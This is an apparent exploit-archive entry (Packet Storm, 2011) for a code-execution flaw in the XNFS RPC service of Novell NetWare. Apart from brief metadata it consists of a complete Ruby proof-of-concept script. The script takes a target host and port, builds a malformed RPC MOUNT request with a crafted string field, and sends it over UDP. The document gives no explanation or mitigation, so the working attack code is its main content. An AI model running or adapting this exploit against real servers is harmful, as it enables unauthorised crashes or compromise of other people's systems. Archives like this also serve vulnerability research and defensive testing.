Novell Netware RPC XNFS xdrDecodeString Code Execution

2011-02-24T00:00:00
ID PACKETSTORM:98707
Type packetstorm
Reporter Francis Provencher
Modified 2011-02-24T00:00:00

Description

                                        
                                            `#!/usr/bin/ruby  
  
# Source:  
# http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=24&Itemid=24  
  
require 'socket'  
  
netware_server = (ARGV[0])  
target_port = (ARGV[1] || 1234)  
  
  
beepbeep=  
"\x1c\xd1\xef\xab" + # XID  
"\x00\x00\x00\x00" + # Message Type: Call (0)  
"\x00\x00\x00\x02" + # RPC Version: 2  
"\x00\x01\x86\xa5" + # Program: 10005 MOUNT  
"\x00\x00\x00\x02" + # Program Version: 2  
"\x00\x00\x00\x01" + # Procedure: MNT (1)  
"\x00\x00\x00\x00\x00\x00\x00\x00" + #  
"\x00\x00\x00\x00\x00\x00\x00\x00" + #Verifier NULL  
"\x41\x42\x43\x44"  
  
  
  
  
puts "[+] beep beep\n"  
puts "[+]No, it's not the road runner\n"  
  
  
if (!(netware_server && target_port))  
puts "Usage: PRL-2011-04.rb host port (default port: 1234)\n"  
exit  
else  
puts "[+]Sending UDP Packet...\n"  
sock = UDPSocket.open  
sock.connect(netware_server, target_port.to_i)  
sock.send(beepbeep, 0)  
end  
  
`